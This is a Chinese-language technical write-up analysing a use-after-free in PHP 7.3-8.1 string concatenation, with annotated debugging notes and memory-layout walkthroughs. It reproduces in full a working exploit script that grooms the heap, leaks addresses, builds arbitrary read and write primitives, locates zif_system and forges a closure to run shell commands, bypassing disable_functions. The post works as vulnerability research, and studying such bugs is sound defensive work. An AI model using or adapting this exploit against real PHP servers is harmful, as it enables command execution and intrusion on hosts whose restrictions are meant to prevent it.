PHP的concat操作导致的UAF利用脚本分析

admin 2022年5月29日13:53:02评论14 views字数 24182阅读80分36秒阅读模式

1. 简介

PHP 7.3-8.1 中字符串连接符中有一个错误,当参数为数组时会触发错误处理,如果在错误处理回调中删除了相关资源,会造成UAF

POC

<?php

$my_var = str_repeat("a", 1);
set_error_handler(
function() use(&$my_var) {
echo("errorn");
$my_var = 0x123;
}
);
$my_var .= [0];

?>

exp

<?php

# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1

new Pwn("uname -a");

class Helper { public $a, $b, $c; }
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
// 0x18是zend_string的头大小
const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;

public function __construct($cmd) {
for($i = 0; $i < 10; $i++) {
// 分配了两个数组结构,其值指向字符串结构
// 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存
// 为什么要这个操作,不要好像也可以
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}

$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
// concat_str_addr是'Array'+'A'*66这段字符串zend_string(占95字节内存)的地址0x7ffff3a84580,这是concat产生的结果。
// 其字符串内容offset=16处开始是$arr原本的数组的占据的Bucket的位置,concat操作产生的result='Array'+'A'*66的zval覆盖了这个位置
$fill = self::alloc(self::STRING_SIZE);
// 为啥要这个操作,没有还不行
// STRING_SIZE能分配到95字节的内存空间
// $fill的zend_string地址是0x7ffff3a84500
// 二者大小相同,地址紧挨,相距0x80
// 因为调试时,有ZEND_DEBUG_BUILD声明,95字节的zend_string实际分配到了11号规格的内存,即相差0x80
// 为什么$fill在'Array'+'A'*66的前面呢
printf("0x%xn",$concat_str_addr);
$this->abc = self::alloc(self::STRING_SIZE);
var_dump($fill);

$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
self::log("abc @ 0x%x", $abc_addr);

$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}

$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;

$helper_handlers = $this->rel_read(0);
self::log("helper handlers @ 0x%x", $helper_handlers);

$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);

$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);

$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}

private function heap_leak() {//开始UAF
$arr = [[], []];//首先是数组
$buf=null;//然后是一个临时变量
set_error_handler(function() use (&$arr, &$buf) {
$arr = 2;//$arr原本指向的_zend_array 0x7ffff3a59a80结构被释放
// 这一步操作会调用zend_array_destroy回收内存
// ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER调用的zend_assign_to_variable中,将$arr中存储的zend_array地址视为垃圾(garbage),调用rc_dtor_func回收
// $arr对应的zval.value的值变为1.
// zend_mm_free_small回收了$arr的内存,重新挂载到了slot——16,320字节大小的链表头上。
// $arr结构的arData结构在0x7ffff3a5d288,释放的时候只是释放该Bucket结构,_zend_array存储在0x7ffff3a59a80,时9号规格的small内存,96字节
// 使用宏HT_GET_DATA_ADDR(ht)获取到了要释放的Bucket结构,计算得0x7ffff3a5d280,$arr数组中的两个Bucket分别存放在0x7ffff3a5d288和0x7ffff3a5d2a8(一个Bucket32字节)
// 为啥从0x7ffff3a5d280跟前开始释放呢,$arr时pack array,不需要索引数组,所以其只有两个单位的值为-1的索引数组,索引数组一个solt占4个字节,两个就是8字节
// 索引数组就在Bucket的签名,通过相关size的计算可以得出索引数组的大小,这里算得索引数组的大小为2,所以最后释放的地址就是0x7ffff3a5d280,其offset=8的位置就是arData,即第一个Bucket
// 这个未初始化的数组是在编译阶段就分配的,分配Bucket时,最少一次分配8个,每个32B,共256B再加上8个字节的索引数组,共计264B,能容纳这么多最小规格时16号320B大小的small内存
// zend_string头有24字节,分配255长度的字符串内存,共计需要279B,也会分配到16号规格内存,如此,UAF的条件达到
// 调用栈
/*
zend_mm_free_small(zend_mm_heap * heap, void * ptr, int bin_num) (homexxxxxphp-srcZendzend_alloc.c:1280)
zend_mm_free_heap(zend_mm_heap * heap, void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (homexxxxxphp-srcZendzend_alloc.c:1370)
_efree(void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (homexxxxxphp-srcZendzend_alloc.c:2549)
zend_array_destroy(HashTable * ht) (homexxxxxphp-srcZendzend_hash.c:1635)
rc_dtor_func(zend_refcounted * p) (homexxxxxphp-srcZendzend_variables.c:57)
zend_assign_to_variable(zval * variable_ptr, zval * value, zend_uchar value_type, zend_bool strict) (homexxxxxphp-srcZendzend_execute.h:131)
ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER() (homexxxxxphp-srcZendzend_vm_execute.h:40771)
execute_ex(zend_execute_data * ex) (homexxxxxphp-srcZendzend_vm_execute.h:57205)
zend_call_function(zend_fcall_info * fci, zend_fcall_info_cache * fci_cache) (homexxxxxphp-srcZendzend_execute_API.c:812)
_call_user_function_ex(zval * object, zval * function_name, zval * retval_ptr, uint32_t param_count, zval * params, int no_separation) (homexxxxxphp-srcZendzend_execute_API.c:644)
zend_error_va_list(int type, const char * error_filename, uint32_t error_lineno, const char * format, struct __va_list_tag * args) (homexxxxxphp-srcZendzend.c:1366)
zend_error(int type, const char * format) (homexxxxxphp-srcZendzend.c:1480)
__zval_get_string_func(zval * op, zend_bool try) (homexxxxxphp-srcZendzend_operators.c:889)
zval_get_string_func(zval * op) (homexxxxxphp-srcZendzend_operators.c:925)
concat_function(zval * result, zval * op1, zval * op2) (homexxxxxphp-srcZendzend_operators.c:1829)
zend_binary_op(zval * ret, zval * op1, zval * op2) (homexxxxxphp-srcZendzend_execute.c:1312)
ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER() (homexxxxxphp-srcZendzend_vm_execute.h:39117)
execute_ex(zend_execute_data * ex) (homexxxxxphp-srcZendzend_vm_execute.h:57109)
zend_execute(zend_op_array * op_array, zval * return_value) (homexxxxxphp-srcZendzend_vm_execute.h:57913)
zend_execute_scripts(int type, zval * retval, int file_count) (homexxxxxphp-srcZendzend.c:1665)
*/

$buf = str_repeat("x00", self::HT_STRING_SIZE);//0x118-0x18-0x01长度的0x00 0x00ff即255长度的字符串,这个字符串覆盖了_zend_array结构体
// 经过对原来的arr结构地址设置数据更改断点发现,arr原本的位置被str_repeat函数操作时覆盖
// 在一次调试中,_zend_array存储在0x7ffff3a59a80,这是一个哈希表,arData存储在0x7ffff3a5d288,Bucket长度2
// 新分配的字符串长度255,占空间287,emalloc得到地址0x7ffff3a5d280
// 该地址在16号规格small内存中,320B
// // 此时得到的$buf的字符串内容就存储在和$arr的Bucket一样的位置,concat的错误使得该匿名函数被调用,即ZEND_ERROR被执行,ZEND_ERROR执行后实际继续返回到concat的后续过程开始执行
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
// op2是长度为一个96(0x60)标准存储单元大小的zend_string结构体,op1是zval_struct结构体
//op1是数组,op2是字符串,concat时,引发错误,掉头error handler的回调函数,$arr变量的内存指向zval_struct,
//offset+0偏移处的成员是一个_zend_array结构体的地址,现在其值就是1,数字1,一个64位地址,里面只有1。
//在这一部操作中,op1是引用类型的值,handler发现其是引用,就提取出它引用的内容,发现是一个数组,然后调用宏SEPARATE_ARRAY来分离数组
// 引用计数只有1时,分离操作不起作用,否则,垃圾回收机制会删除一次引用
// 在赋值操作实际执行时,$arr所代表的数组被提取出来作为实际操作数
// 对于的handler是ASSIGN_DIM_OP,操作数 op1是$arr,op2是1,根据指令的特点,该handler会调用下一条指令的数据,OP_DATA的操作数,及alloc产生的字符串
// 于是 op1是$arr[1],是数组,op2是字符串'x00'*255
// 因为op1的是array,所以触发ZEND_ERROR
// zend_fetch_dimension_address_inner_RW_CONST,handler调用该函数在哈希表中对数组取值
// $arr[1]的地址在0x7ffff3a5d2a8
/* */
// ZEND_ERROR执行后,__zval_get_string_func返回一个zend_known_strings的地址,其内容时Array,并赋给了op1_copy,暂存op1,(此时真正的op1已经被字符串覆盖了)
// 因为时.=这种自操作,所以指令中的result和op1的地址相同,对result的操作就是对op1的操作
// op1_copy得到值后,op1_copy的地址被赋回op1,即op1表示zend_known_strings,即"Array"的地址
// 此时,result指向"x00"*255的zval,op2指向66字节长度的alloc函数产生的字符串,最终concat_function返回了'Array'+'A'*66这段字符串,$buf的zval.value也指向了新分配的存储这块内存
// $buf的zval.value本来是全0,$buf本身的结构在0x7ffff3a5d280,但是op1的引用在0x7ffff3a5d2a8,有40个字节的偏移
// 执行这句ZVAL_NEW_STR(result, result_str)时,0x7ffff3a5d2a8的zval.value被赋值,指向'Array'+'A'*66这段字符串zend_string
// 此时我读取$buf的字符串偏移$buf[16]处起始的8个字节就是'Array'+'A'*66这段字符串zend_string的地址
// offset=16因为$buf在0x7ffff3a5d280,result在0x7ffff3a5d2a8,相差40字节,除去0x7ffff3a5d280开始的24字节字符串zend_string的头外,再偏移16字节就是reslut,即'Array'+'A'*66这段字符串zval。
file_put_contents("/mnt/c/Users/L1sper/Desktop/1.bin",$buf);
return $buf;

}

private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));

$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}

private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}

private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}

private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function log($format, $val = "") {
if(self::LOGGING) {
printf("{$format}n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat("A", $size));
}

static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
}

?>

2. UAF分析

<?php

$arr = [[], []];//首先是数组
arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));

?>

set_error_handler会设置错误处理句柄,当PHP执行报错时,调用该函数

.=是PHP赋值操作附加字符串连接,这里对应操作是ZEND_ASSIGN_DIM_OP,意思就是数组降维,说白了就是取数组元素。

赋值的参数是zval(IS_STRING:66*''),被赋值的是一个zend_empty_array,然后进入 zend_binary_op进行赋值操作

参数列表是(ret=arr[1],op1=arr[1],op2=zval@66*''),此处因为是.= ,即自赋值,返回值和op1是一样的

zend_binary_op函数中定义了各种不同类型的操作句柄,由Opcode的扩展值决定使用那种操作

static zend_always_inline int zend_binary_op(zval *ret, zval *op1, zval *op2 OPLINE_DC)
{
static const binary_op_type zend_binary_ops[] = {
add_function,
sub_function,
mul_function,
div_function,
mod_function,
shift_left_function,
shift_right_function,
concat_function,
bitwise_or_function,
bitwise_and_function,
bitwise_xor_function,
pow_function
};
/* size_t cast makes GCC to better optimize 64-bit PIC code */
size_t opcode = (size_t)opline->extended_value;

return zend_binary_ops[opcode - ZEND_ADD](ret, op1, op2);
}
//op fetch ext return operands
//ASSIGN_DIM_OP .= 8 !0, 1
//此处的扩展值是8,即调用concat_function进行操作

PHP的concat操作导致的UAF利用脚本分析

$arr存了一串Bucket,每个Bucket里面带了一个zval,对于$arr来说,每个元素是一个zend_array

跟进concat_function

首先验证op1是不是字符串,如果不是,字符串,就尝试使用zval_get_string_func(op1)从中得到字符串

跟进zval_get_string_func

判断类型,发现是IS_ARRAY,调用zend_error,触发回调错误处理句柄

<?php
$buf=null;
set_error_handler(function() use (&$arr, &$buf){
$arr = 2;
$buf = str_repeat("x00", self::HT_STRING_SIZE);
});

在错误处理句柄中,$arr被重新赋值,导致其本来对应的那块空间被销毁,即其堆地址被挂载到了free链表上了。被销毁的包括$arr对应的zend_array结构,以及哈希表数据存储的部分,即Bucket所在的部分。

以某次调试为例,zval_get_string_func的参数zval即$arr[1]的地址是0x7ffff3a5d2a8,它是第二个Bucket,一个Bucket的大小是32B,然后packed类型的未初始化数组的数组索引表大小是2,每个索引值都是-1,size是32b即4字节,arData的地址就是0x7ffff3a5d288,整个数据部分的地址就是0x7ffff3a5d280,当前arr这个数组共有8个Bucket,2个索引,共计264字节,加上调试信息32字节,这块结构共计296字节,占据32号RUN规格的内存。根据地址计算得到验证。

buf现在需要分配HT_STRING_SIZE = HT_SIZE - 0x18 - 1 = 0x118 -0x18 -1的内容。0x118是280B,即分配255长的字符串,需要分配空间是(_ZSTR_HEADER_SIZE + len + 1) = 280B,因为分配字符串时还会带上zend_mm_debug_info的32字节,所以需要额外32字节,即共需312B空间,最后分配得到320B的空间,刚好是上次被释放的0x7ffff3a5d280。这块区域其实前面有存储过255长度的'',来自于

for($i = 0; $i < 10; $i++) {
// 分配了两个数组结构,其值指向字符串结构
// 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存
// 为什么要这个操作,不要好像也可以
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间);//HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间
}

继续,错误处理完后,op1的位置已经不复存在了,op1指向了一个新的字符串”Array“,上面提到的255*‘’放在buf中。

回到concat_function,处理完op1后,再处理op2,op2本身就是字符串66*A,拼接后得到‘Array+66*A,此时返回值是存储再0x7ffff3a5d2a8处的,所以新的字符串对应得zval地址被放在了0x7ffff3a5d2a8处

PHP的concat操作导致的UAF利用脚本分析

此时,$buf中的zend_string首地址就是0x7ffff3a5d280,字符串内容的地址就是0x7ffff3a5d298,在字符串内容偏移+16处,即zend_string+40处。这样我们就能够得到‘Array+66*A的zval结构(地址0x7ffff3a84580,type=6=IS_STRING)。同时,能够控制通过buf对该位置值的控制,读取任意地址的内容。

3. 利用分析

然后是

$this->abc = self::alloc(self::STRING_SIZE);

STRING_SIZE在调试环境下始终是47,分配到0x80=128B的内存空间。

前面提到的Array+66*A长度也是STRING_SIZE,二者占据的大小相同,空间相邻。

$fill = self::alloc(self::STRING_SIZE);

是为了消耗掉Array+66*A前面的0x80的空间,避免$this->abc分配到其前面,导致后面计算abc的地址的计算方法错误(==有一个问题,为何Array+66*A前面还会有空间空着==)

$abc_addr = $concat_str_addr + self::CHUNK_SIZE;

有一个问题,为何Array+66*A前面还会有空间空着:

根据调试,这是op2参数的位置。。。,用完之后会被释放,即0x7ffff3a84500在链表首。

回到前面,abc的位置已经被确定。即0x7ffff3a84580+ 0x80 = 0x7ffff3a84600。

此时进行了另一个操作

$this->free($abc_addr);
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));//320B的空间

$arr = [[], []];//320B的空间
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);//数组的320B被填充
});
$arr[1] .= "x";
}

free函数的功能很明显和heap_leap很相似,只不过填充arData空间的不再是全0。根据前面的分析,这里又分配了一个320字节的块,并用pack("Q*", 0xdeadbeef, 0xcafebabe, 0x7ffff3a84580).AAA...AAA填充,

重点:然后,在销毁该哈希表的时候,会销毁其中的所有Bucket里的内容。此处的哈希表地址是0x00007ffff3a5e680,arData就在0x00007ffff3a5e688, $arr[1] 就在0x00007ffff3a5e6a8,显然这里存储了一个zval

zval_struct{
.value = 0x00007ffff3a5e6a8;
.u1.v.type = 6
}

这里就会被识别为一个字符串,然后其引用值为1,释放的时候就会被直接释放掉。所以$this->abc这里的0x80 = 128字节就会空出来

free函数执行完后,buf是指向长度0xdeadbeef的字符串,zend_string地址在0x7ffff3a5e680,$arr[1] .= "x"的结构存储在0x00007ffff3a92f80;

PHP的concat操作导致的UAF利用脚本分析


PHP的concat操作导致的UAF利用脚本分析


继续,

$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}

$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;

这里新建了一个类,对应ZEND_NEW操作,其会从EG(class_table)全局类表中找到对应的zend_class_entry结构的地址,此处为0x7ffff3a04018,该结构大小为456B,然后调用object_init_ex初始化一个对象出来(0x7ffff3a84600)。分配对象的时候用到了zend_objects_new,计算出的需要分配的大小是

56 + 16*2 +32= 120 其中((ce->ce_flags & ZEND_ACC_USE_GUARDS) = 1),刚好分配到free(abc)所得到的空间。

其中的成员变量b被赋予了一个闭包函数,即从EG(function_table)里面找到了zend_function结构,该结构大小224,该闭包函数的名字是%00%7Bclosure%7D%2Fhome%2Fxxxxx%2Fphp-src%2Ftest.php%3A58%240(注意url解码)。zend_function结构和zend_op_array具有相同大小,切二者拥有相同的common部分

union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
uint32_t quick_arg_flags;

struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;

zend_op_array op_array;
zend_internal_function internal_function;
};

然后是计算helper对象的地址

$helper_handlers = $this->rel_read(0);
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}

前面提到,$this->abc会引用到一块已经空闲的0x80=128大小的空间,分配的helper对象刚好能够占用上次free掉abc时释放出来的128B的空间,于是$this->abc现在可以根据偏移量取到helper对象对应的zend_objects结构里面的数据。

struct _zend_object {
zend_refcounted_h gc;//8B
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
//根据这两个结构的对比以及字节对齐的原理,val处的值就是对象对应的zend_object_handlers,字符串长度就是ce的地址
ZEND_API zend_object* ZEND_FASTCALL zend_objects_new(zend_class_entry *ce)
{
zend_object *object = emalloc(sizeof(zend_object) + zend_object_properties_size(ce));

_zend_object_std_init(object, ce);
object->handlers = &std_object_handlers;
return object;
}
static zend_always_inline size_t zend_object_properties_size(zend_class_entry *ce)
{
return sizeof(zval) *
(ce->default_properties_count -
((ce->ce_flags & ZEND_ACC_USE_GUARDS) ? 0 : 1));
}

据此,可以读取到helper的zend_object中的handlers地址

$helper_handlers = $this->rel_read(0);

然后是closure,这里其实读到的就是$helper->b对应的zend_object结构的地址(zval中的地址值存储在最前面)

$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);

PHP的concat操作导致的UAF利用脚本分析

再然后是读取closure_ce,

$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}

private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

读取方法如下:0x10偏移处是 $helper->a的zval,更改其value字段为要读取的addr-0x10,就能使用字符串长度获取到对应的值(len字段在zend_string的0x10偏移处,读取len就需要给定zend_string的地址,即将zval的value字段覆盖为addr-0x10)

此时达到了任意地址读的目的,然后就是读取helper->b的匿名函数_zend_object的偏移0x10处的值,即zend_object.ce;,是类的描述结构zend_class_entry的地址。该结构内部包含方法所属类名,父类名,各种魔术方法等。

struct _zend_class_entry {
char type;
zend_string *name;
/* class_entry or string depending on ZEND_ACC_LINKED */
union {
zend_class_entry *parent;
zend_string *parent_name;
};
int refcount;
uint32_t ce_flags;

int default_properties_count;
int default_static_members_count;
zval *default_properties_table;
zval *default_static_members_table;
ZEND_MAP_PTR_DEF(zval *, static_members_table);
HashTable function_table;
HashTable properties_info;
HashTable constants_table;

struct _zend_property_info **properties_info_table;

zend_function *constructor;
zend_function *destructor;
zend_function *clone;
zend_function *__get;
zend_function *__set;
zend_function *__unset;
zend_function *__isset;
zend_function *__call;
zend_function *__callstatic;
zend_function *__tostring;
zend_function *__debugInfo;
zend_function *serialize_func;
zend_function *unserialize_func;

/* allocated only if class implements Iterator or IteratorAggregate interface */
zend_class_iterator_funcs *iterator_funcs_ptr;

/* handlers */
union {
zend_object* (*create_object)(zend_class_entry *class_type);
int (*interface_gets_implemented)(zend_class_entry *iface, zend_class_entry *class_type); /* a class implements this interface */
};
zend_object_iterator *(*get_iterator)(zend_class_entry *ce, zval *object, int by_ref);
zend_function *(*get_static_method)(zend_class_entry *ce, zend_string* method);

/* serializer callbacks */
int (*serialize)(zval *object, unsigned char **buffer, size_t *buf_len, zend_serialize_data *data);
int (*unserialize)(zval *object, zend_class_entry *ce, const unsigned char *buf, size_t buf_len, zend_unserialize_data *data);

uint32_t num_interfaces;
uint32_t num_traits;

/* class_entry or string(s) depending on ZEND_ACC_LINKED */
union {
zend_class_entry **interfaces;
zend_class_name *interface_names;
};

zend_class_name *trait_names;
zend_trait_alias **trait_aliases;
zend_trait_precedence **trait_precedences;

union {
struct {
zend_string *filename;
uint32_t line_start;
uint32_t line_end;
zend_string *doc_comment;
} user;
struct {
const struct _zend_function_entry *builtin_functions;
struct _zend_module_entry *module;
} internal;
} info;
};

再者是获取函数基地址,

$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

读取方法是根据ce的地址,在其前面查找,根据MODULE_API_NO进行验证查找模块结构zend_module_entry

struct _zend_module_entry {
unsigned short size;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name;
const struct _zend_function_entry *functions;
int (*module_startup_func)(INIT_FUNC_ARGS);
int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
int (*request_startup_func)(INIT_FUNC_ARGS);
int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
const char *version;
size_t globals_size;
#ifdef ZTS
ts_rsrc_id* globals_id_ptr;
#else
void* globals_ptr;
#endif
void (*globals_ctor)(void *global);
void (*globals_dtor)(void *global);
int (*post_deactivate_func)(void);
int module_started;
unsigned char type;
void *handle;
int module_number;
const char *build_id;
};

offset=0处事size,offset=4处是zend_api,一般是20180731、20190902、20200930、20210902中之一,offset=0x20处是模块名name的地址。

为什么可以在ce的附近找到module呢,因为注册闭包函数对应的zend_class_entry是在zend_register_closure_ce函数中。根据watch调试得到,该结构在do_register_internal_class中被malloc分配并初始化,在加载启动Core模块时被分配在堆空间中。

调用栈如下:

PHP的concat操作导致的UAF利用脚本分析

standard模块的zend_module_entry结构在php_register_internal_extensions_func注册内部模块时被加载进已注册模块哈希表。使用内存断点得到调用栈:

PHP的concat操作导致的UAF利用脚本分析

这里向哈希表中添加内容时,该哈希表的GC位被设置了IS_ARRAY_PERSISTENT,即被分配于系统malloc区内。

所以,ce和module都在堆中,可以慢慢向前查到。校验值是代码中定义的_zend_module_entry标准头。

#define ZEND_MODULE_API_NO 20190902
#define STANDARD_MODULE_HEADER_EX sizeof(zend_module_entry), ZEND_MODULE_API_NO, ZEND_DEBUG, USING_ZTS

zend_module_entry basic_functions_module = { /* {{{ */
STANDARD_MODULE_HEADER_EX,
NULL,
standard_deps,
"standard", /* extension name */
basic_functions, /* function list */
PHP_MINIT(basic), /* process startup */
PHP_MSHUTDOWN(basic), /* process shutdown */
PHP_RINIT(basic), /* request startup */
PHP_RSHUTDOWN(basic), /* request shutdown */
PHP_MINFO(basic), /* extension info */
PHP_STANDARD_VERSION, /* extension version */
STANDARD_MODULE_PROPERTIES
};

_zend_module_entry偏移为0x24的位置是_zend_function_entry结构的地址,里面存放了该模块所有的函数,其中就包括了PHP_FE(system,arginfo_system)

依次读出_zend_function_entry列表里的每一个zend_function_entry结构,为其分配zend_internal_function大小的堆空间,然后拷贝zend_function前面一部分内容。因为zend_function是一个联合体,里面zend_op_array是最大的,所以拷贝前面zend_internal_function大小就可以了。这个新的zend_internal_function结构的指针将会被添加到全局函数表中。我们找到的其实是被全局定义在zend_module_entry的function列表中的basic_functions。

typedef struct _zend_function_entry {
const char *fname;
zif_handler handler;
const struct _zend_internal_arg_info *arg_info;
uint32_t num_args;
uint32_t flags;
} zend_function_entry;

handler就是真正的函数地址

我们要做的就是将找到的_zend_function_entry结构赋给zend_function的handler

$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);

接下来就是构造一个假的闭包函数,让他成为内部函数。

$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);

$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);

$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);

对于($this->helper->b)($cmd);类的动态调用,会进入zend_init_dynamic_call_object逻辑,获取对象的get_closure句柄并调用。

zend_init_dynamic_call_object内,传入的obj指针被强转为zend_closure闭包,其实在编译的时候,分配的空间大小就是按照_zend_closure分配的(加上调试信息共需要344B,分配得到17号RUN,384B),其中第一个成员就是_zend_object。

转换为闭包后,能够读取到其对应得zend_functionzend_class_entry等。

typedef struct _zend_closure {//312B
zend_object std;//56B
zend_function func;//224B
zval this_ptr;//16B
zend_class_entry *called_scope;
zif_handler orig_internal_handler;//8B typedef void (ZEND_FASTCALL *zif_handler)(INTERNAL_FUNCTION_PARAMETERS)
} zend_closure;
//对比
struct _zend_object {
zend_refcounted_h gc;//8B
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};

数据复制的大概流程是

abc所在的空间即helper对象对应的zend_object内容的0x70=112的偏移处开始写值(一个zend_object是56字节,这里隔了一个zend_object的空间),数据来源是闭包函数helper->b对应的zend_object(或者可以说是zend_closure)的内容。共计复制0x138=312B=sizeof(zend_closure)的内容。按理来说,这块内存并没有被分配出来,而且规格不对。但是我们能写入的内容只能是在abc内以及abc的后面

